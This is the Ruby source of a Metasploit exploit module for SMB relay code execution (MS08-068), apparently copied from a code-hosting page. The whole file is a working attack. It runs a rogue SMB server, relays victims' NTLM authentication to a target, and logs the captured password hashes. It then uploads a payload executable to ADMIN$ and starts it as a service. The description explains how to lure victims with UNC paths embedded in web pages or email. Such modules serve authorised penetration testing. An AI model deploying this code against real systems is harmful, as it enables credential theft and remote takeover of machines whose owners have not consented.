549 lines
14 KiB
Ruby
549 lines
14 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
=begin
|
|
Windows XP systems that are not part of a domain default to treating all
|
|
network logons as if they were Guest. This prevents SMB relay attacks from
|
|
gaining administrative access to these systems. This setting can be found
|
|
under:
|
|
|
|
Local Security Settings >
|
|
Local Policies >
|
|
Security Options >
|
|
Network Access: Sharing and security model for local accounts
|
|
=end
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::SMBServer
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Windows SMB Relay Code Execution',
|
|
'Description' => %q{
|
|
This module will relay SMB authentication requests to another
|
|
host, gaining access to an authenticated SMB session if successful.
|
|
If the connecting user is an administrator and network logins are
|
|
allowed to the target machine, this module will execute an arbitrary
|
|
payload. To exploit this, the target system must try to authenticate
|
|
to this module. The easiest way to force a SMB authentication attempt
|
|
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
|
|
email message. When the victim views the web page or email, their
|
|
system will automatically connect to the server specified in the UNC
|
|
share (the IP address of the system running this module) and attempt
|
|
to authenticate. Unfortunately, this
|
|
module is not able to clean up after itself. The service and payload
|
|
file listed in the output will need to be manually removed after access
|
|
has been gained. The service created by this tool uses a randomly chosen
|
|
name and description, so the services list can become cluttered after
|
|
repeated exploitation.
|
|
|
|
The SMB authentication relay attack was first reported by Sir Dystic on
|
|
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
|
|
|
|
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
|
|
includes a patch which prevents the relaying of challenge keys back to
|
|
the host which issued them, preventing this exploit from working in
|
|
the default configuration. It is still possible to set the SMBHOST
|
|
parameter to a third-party host that the victim is authorized to access,
|
|
but the "reflection" attack has been effectively broken.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'hdm'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'DisableNops' => true,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-4037'],
|
|
[ 'OSVDB', '49736'],
|
|
[ 'MSB', 'MS08-068'],
|
|
[ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
|
|
[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ],
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],
|
|
[ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'DisclosureDate' => 'Mar 31 2001',
|
|
'DefaultTarget' => 0 ))
|
|
|
|
register_options(
|
|
[
|
|
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"])
|
|
], self.class )
|
|
end
|
|
|
|
|
|
if (not const_defined?('NDR'))
|
|
NDR = Rex::Encoder::NDR
|
|
end
|
|
|
|
def smb_haxor(c)
|
|
smb = @state[c]
|
|
rclient = smb[:rclient]
|
|
|
|
if (@pwned[smb[:rhost]])
|
|
print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.")
|
|
return
|
|
end
|
|
|
|
if (not rclient.client.auth_user)
|
|
print_line(" ")
|
|
print_error(
|
|
"FAILED! The remote host has only provided us with Guest privileges. " +
|
|
"Please make sure that the correct username and password have been provided. " +
|
|
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
|
|
"to network logins by default."
|
|
)
|
|
print_line(" ")
|
|
return
|
|
end
|
|
|
|
print_status("Connecting to the ADMIN$ share...")
|
|
rclient.connect("ADMIN$")
|
|
|
|
@pwned[smb[:rhost]] = true
|
|
|
|
print_status("Regenerating the payload...")
|
|
code = regenerate_payload(smb[:rsock])
|
|
|
|
# Upload the shellcode to a file
|
|
print_status("Uploading payload...")
|
|
|
|
filename = rand_text_alpha(8) + ".exe"
|
|
servicename = rand_text_alpha(8)
|
|
|
|
fd = rclient.open("\\#{filename}", 'rwct')
|
|
|
|
exe = ''
|
|
opts = {
|
|
:servicename => servicename,
|
|
:code => code.encoded
|
|
}
|
|
if (datastore['PAYLOAD'].include? 'x64')
|
|
opts.merge!({ :arch => ARCH_X64 })
|
|
end
|
|
exe = generate_payload_exe_service(opts)
|
|
|
|
fd << exe
|
|
fd.close
|
|
|
|
print_status("Created \\#{filename}...")
|
|
|
|
# Disconnect from the ADMIN$
|
|
rclient.disconnect("ADMIN$")
|
|
|
|
print_status("Connecting to the Service Control Manager...")
|
|
rclient.connect("IPC$")
|
|
|
|
dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")
|
|
|
|
##
|
|
# OpenSCManagerW()
|
|
##
|
|
|
|
print_status("Obtaining a service manager handle...")
|
|
scm_handle = nil
|
|
stubdata =
|
|
NDR.uwstring("\\\\#{smb[:rhost]}") +
|
|
NDR.long(0) +
|
|
NDR.long(0xF003F)
|
|
begin
|
|
response = dcerpc.call(0x0f, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
scm_handle = dcerpc.last_response.stub_data[0,20]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
##
|
|
# CreateServiceW()
|
|
##
|
|
|
|
servicename = rand_text_alpha(8)
|
|
displayname = rand_text_alpha(rand(32)+1)
|
|
svc_handle = nil
|
|
svc_status = nil
|
|
|
|
print_status("Creating a new service...")
|
|
stubdata =
|
|
scm_handle +
|
|
NDR.wstring(servicename) +
|
|
NDR.uwstring(displayname) +
|
|
|
|
NDR.long(0x0F01FF) + # Access: MAX
|
|
NDR.long(0x00000110) + # Type: Interactive, Own process
|
|
NDR.long(0x00000003) + # Start: Demand
|
|
NDR.long(0x00000000) + # Errors: Ignore
|
|
|
|
NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
|
|
NDR.long(0) + # LoadOrderGroup
|
|
NDR.long(0) + # Dependencies
|
|
NDR.long(0) + # Service Start
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) + # Password
|
|
NDR.long(0) # Password
|
|
begin
|
|
response = dcerpc.call(0x0c, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
svc_status = dcerpc.last_response.stub_data[24,4]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
|
|
##
|
|
# CloseHandle()
|
|
##
|
|
print_status("Closing service handle...")
|
|
begin
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
rescue ::Exception
|
|
end
|
|
|
|
##
|
|
# OpenServiceW
|
|
##
|
|
print_status("Opening service...")
|
|
begin
|
|
stubdata =
|
|
scm_handle +
|
|
NDR.wstring(servicename) +
|
|
NDR.long(0xF01FF)
|
|
|
|
response = dcerpc.call(0x10, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
return
|
|
end
|
|
|
|
##
|
|
# StartService()
|
|
##
|
|
print_status("Starting the service...")
|
|
stubdata =
|
|
svc_handle +
|
|
NDR.long(0) +
|
|
NDR.long(0)
|
|
begin
|
|
response = dcerpc.call(0x13, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
end
|
|
rescue ::Exception => e
|
|
return
|
|
#print_error("Error: #{e}")
|
|
end
|
|
|
|
##
|
|
# DeleteService()
|
|
##
|
|
print_status("Removing the service...")
|
|
stubdata =
|
|
svc_handle
|
|
begin
|
|
response = dcerpc.call(0x02, stubdata)
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
end
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
end
|
|
|
|
##
|
|
# CloseHandle()
|
|
##
|
|
print_status("Closing service handle...")
|
|
begin
|
|
response = dcerpc.call(0x0, svc_handle)
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
end
|
|
|
|
rclient.disconnect("IPC$")
|
|
|
|
print_status("Deleting \\#{filename}...")
|
|
rclient.connect("ADMIN$")
|
|
rclient.delete("\\#{filename}")
|
|
end
|
|
|
|
|
|
def smb_dcerpc(c, uuid, version, pipe)
|
|
smb = @state[c]
|
|
opts = {
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
'smb_pipeio' => 'rw',
|
|
'smb_client' => smb[:rclient]
|
|
}
|
|
|
|
handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe])
|
|
dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts)
|
|
end
|
|
|
|
|
|
def smb_cmd_dispatch(cmd, c, buff)
|
|
smb = @state[c]
|
|
|
|
@pwned ||= {}
|
|
|
|
case cmd
|
|
when CONST::SMB_COM_NEGOTIATE
|
|
smb_cmd_negotiate(c, buff)
|
|
|
|
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
smb_cmd_session_setup(c, buff)
|
|
|
|
when CONST::SMB_COM_TREE_CONNECT
|
|
print_status("Denying tree connect from #{smb[:name]}")
|
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
pkt['Payload']['SMB'].v['Command'] = cmd
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
|
|
c.put(pkt.to_s)
|
|
|
|
else
|
|
print_status("Ignoring request from #{smb[:name]} (#{cmd})")
|
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
pkt['Payload']['SMB'].v['Command'] = cmd
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022
|
|
c.put(pkt.to_s)
|
|
end
|
|
end
|
|
|
|
def smb_cmd_negotiate(c, buff)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_NEG_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
# Record the remote process ID
|
|
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
|
|
group = ''
|
|
machine = smb[:nbsrc]
|
|
|
|
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
|
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
|
|
|
|
dialect =
|
|
dialects.index("NT LM 0.12") ||
|
|
dialects.length-1
|
|
|
|
|
|
# Dialect selected, now we try to the target system
|
|
target_host = datastore['SMBHOST']
|
|
if (not target_host or target_host.strip.length == 0)
|
|
target_host = smb[:ip]
|
|
end
|
|
|
|
rsock = nil
|
|
rport = nil
|
|
[445, 139].each do |rport_|
|
|
rport = rport_
|
|
begin
|
|
rsock = Rex::Socket::Tcp.create(
|
|
'PeerHost' => target_host,
|
|
'PeerPort' => rport,
|
|
'Timeout' => 3,
|
|
'Context' =>
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
}
|
|
)
|
|
break if rsock
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Exception => e
|
|
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
|
|
end
|
|
end
|
|
|
|
if(not rsock)
|
|
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
|
|
return
|
|
end
|
|
|
|
rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)
|
|
|
|
begin
|
|
rclient.login_split_start_ntlm1(smb[:nbsrc])
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Exception => e
|
|
print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}")
|
|
raise e
|
|
end
|
|
|
|
if (not rclient.client.challenge_key)
|
|
print_error("No challenge key received from #{smb[:ip]}:#{rport}")
|
|
rsock.close
|
|
return
|
|
end
|
|
|
|
if (smb[:rsock])
|
|
smb[:rsock].close
|
|
end
|
|
|
|
smb[:rsock] = rsock
|
|
smb[:rclient] = rclient
|
|
smb[:rhost] = target_host
|
|
|
|
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
|
smb_set_defaults(c, pkt)
|
|
|
|
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload']['SMB'].v['WordCount'] = 17
|
|
pkt['Payload'].v['Dialect'] = dialect
|
|
pkt['Payload'].v['SecurityMode'] = 3
|
|
pkt['Payload'].v['MaxMPX'] = 2
|
|
pkt['Payload'].v['MaxVCS'] = 1
|
|
pkt['Payload'].v['MaxBuff'] = 4356
|
|
pkt['Payload'].v['MaxRaw'] = 65536
|
|
pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
|
|
pkt['Payload'].v['ServerTime'] = time_lo
|
|
pkt['Payload'].v['ServerDate'] = time_hi
|
|
pkt['Payload'].v['Timezone'] = 0x0
|
|
|
|
|
|
pkt['Payload'].v['SessionKey'] = 0
|
|
pkt['Payload'].v['KeyLength'] = 8
|
|
|
|
pkt['Payload'].v['Payload'] =
|
|
rclient.client.challenge_key +
|
|
Rex::Text.to_unicode(group) + "\x00\x00" +
|
|
Rex::Text.to_unicode(machine) + "\x00\x00"
|
|
|
|
c.put(pkt.to_s)
|
|
end
|
|
|
|
def smb_cmd_session_setup(c, buff)
|
|
smb = @state[c]
|
|
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
|
pkt.from_s(buff)
|
|
|
|
|
|
# Record the remote multiplex ID
|
|
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
|
|
lm_len = pkt['Payload'].v['PasswordLenLM']
|
|
nt_len = pkt['Payload'].v['PasswordLenNT']
|
|
|
|
lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
|
|
nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
|
|
|
|
|
|
buff = pkt['Payload'].v['Payload']
|
|
buff.slice!(0, lm_len + nt_len)
|
|
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
|
|
smb[:username] = names[0]
|
|
smb[:domain] = names[1]
|
|
smb[:peer_os] = names[2]
|
|
smb[:peer_lm] = names[3]
|
|
|
|
|
|
# Clean up the data for loggging
|
|
if (smb[:username] == "")
|
|
smb[:username] = nil
|
|
end
|
|
|
|
if (smb[:domain] == "")
|
|
smb[:domain] = nil
|
|
end
|
|
|
|
print_status(
|
|
"Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
|
|
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
|
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
|
|
)
|
|
|
|
if (lm_hash == "" or lm_hash == "00")
|
|
lm_hash = nil
|
|
end
|
|
|
|
if (nt_hash == "")
|
|
nt_hash = nil
|
|
end
|
|
|
|
if (lm_hash or nt_hash)
|
|
rclient = smb[:rclient]
|
|
print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...")
|
|
res = nil
|
|
|
|
begin
|
|
res = rclient.login_split_next_ntlm1(
|
|
smb[:username],
|
|
smb[:domain],
|
|
[ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"),
|
|
[ (nt_hash ? nt_hash : "00" * 24) ].pack("H*")
|
|
)
|
|
rescue XCEPT::LoginError
|
|
end
|
|
|
|
if (res)
|
|
print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
|
|
smb_haxor(c)
|
|
else
|
|
print_error("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...")
|
|
end
|
|
end
|
|
|
|
print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}")
|
|
|
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
smb_set_defaults(c, pkt)
|
|
|
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
|
|
c.put(pkt.to_s)
|
|
end
|
|
|
|
end
|